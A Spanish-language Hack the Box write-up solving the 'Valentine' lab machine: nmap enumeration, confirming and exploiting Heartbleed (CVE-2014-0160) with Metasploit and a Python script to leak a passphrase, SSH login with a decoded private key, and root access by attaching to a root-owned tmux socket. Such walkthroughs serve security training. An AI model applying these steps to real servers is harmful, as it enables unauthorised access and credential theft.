En este writeup vamos a ver cómo resolver la máquina Valentine de la plataforma de Hack the Box.
Conexión
Conectar nuestra máquina de ataque a la VPN:
$ openvpn gorkamu-htb.ovpn
Enumeración
Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:
$ ping -c 1 10.10.10.79
El TTL que tiene es de 254 por lo que nos enfrentamos ante una máquina Linux.
El siguiente paso es hacer un escaneo de puertos:
$ nmap -p- --open -T5 -v -n 10.10.10.79 -oN ports
Podemos ver que tiene los siguientes puertos abiertos:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Issuer: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-02-06T00:45:25
| Not valid after: 2019-02-06T00:45:25
| MD5: a413 c4f0 b145 2154 fb54 b2de c7a9 809d
|_SHA-1: 2303 80da 60e7 bde7 2ba6 76dd 5214 3c3c 6f53 01b1
|_ssl-date: 2021-01-06T17:01:56+00:00; +5m31s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Podemos mirar si el puerto 443 es vulnerable a heartbleed. Para ello:
$ nmap --script=ssl-heartbleed -p 443 10.10.10.79
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 11:19 CET
Nmap scan report for 10.10.10.79
Host is up (0.058s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| http://www.openssl.org/news/secadv_20140407.txt
| http://cvedetails.com/cve/2014-0160/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds
Como vemos en la salida nos dice que efectivamente el servidor es vulnerable a heartbleed.
Ahora vamos a pasar tanto gobuster como dirbuster a ver si encontramos directorios y ficheros ocultos:
Con gobuster hemos encontrado los siguientes directorios:
/index (Status: 200)
/dev (Status: 301)
/encode (Status: 200)
/decode (Status: 200)
/omg (Status: 200)
/server-status (Status: 403)
Con dirbuster encontramos los siguientes archivos: Una de las cosas interesantes que nos encontramos es esta url: http://10.10.10.79/dev/hype_key
Si vemos ese fichero nos encontraremos datos en hexadecimal.
En la url tenemos un formulario para introducir datos a decodificar http://10.10.10.70/decode.php
Si convertimos hype_key a ascii (hex to ascii) veremos que se trata de una clave RSA privada.
Capturar User Flag
Hemos visto que la vulnerabilidad que existe en esta máquina es un heartbleed asà que vamos a tratar de explotarla.
Usando Metasploit
Abrimos metasploit y buscamos por heartbleed. Tenemos que usar este escáner en concreto: scanner/ssl/openssl_heartbleed
Después configuramos RHOST y habilitamos la opción verbosa.
Entre el contenido que nos devuelve podemos ver lo siguiente:
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
Si lo pasamos por la url http://10.10.10.79/decode.php
obtenemos lo siguiente:
Por un lado tenemos el usuario hype (del fichero hype_key) y por otro lado tenemos tanto la clave rsa en hexadecimal (hype_key) como en texto plano (rsa.priv) del usuario.
Tenemos que convertir la clave para que podamos usarla por ssh y para ello usamos openssl:
$ openssl rsa -in rsa.priv --out hype_key_ok
Una vez convertida ya nos podemos conectar por ssh:
$ ssh -i hype_key_ok hype@10.10.10.79
hype@Valentine:~$ id
uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)
hype@Valentine:~$ whoami
hype
Si nos vamos a /home/hype/Desktop veremos el fichero user.txt con la USER Flag.
Sin usar Metasploit
Para explotar la vulnerabilidad de heartbleed sin usar metasploit podemos hacerlo usando este script:
Nos los descargamos y lo ejecutamos de la siguiente forma:
$ python heartbleed.py 10.10.10.79
En la salida vemos que nos dice que el servidor está devolviendo más información de la que deberÃa y que por lo tanto es vulnerable, además devuelve una variable codificada en $text.
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)
##################################################################
Connecting to: 10.10.10.79:443, 1 times
Sending Client Hello for TLSv1.0
Received Server Hello for TLSv1.0
WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
##################################################################
.@....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== 6./.y..t.8..<.....3
Capturar Root Flag
Para conseguir la root flag tenemos que mirar en los procesos activos. Si ejecutamos un ps aux de entre todos los procesos veremos que se está ejecutando como root tmux.
Esto coincide con lo que aparece en el historial de comandos del usuario hype.
Si ponemos la siguiente lÃnea en la terminal nos dará acceso como root y con ello acceso al fichero /root/root.txt
$ /usr/bin/tmux -S /.devs/dev_sess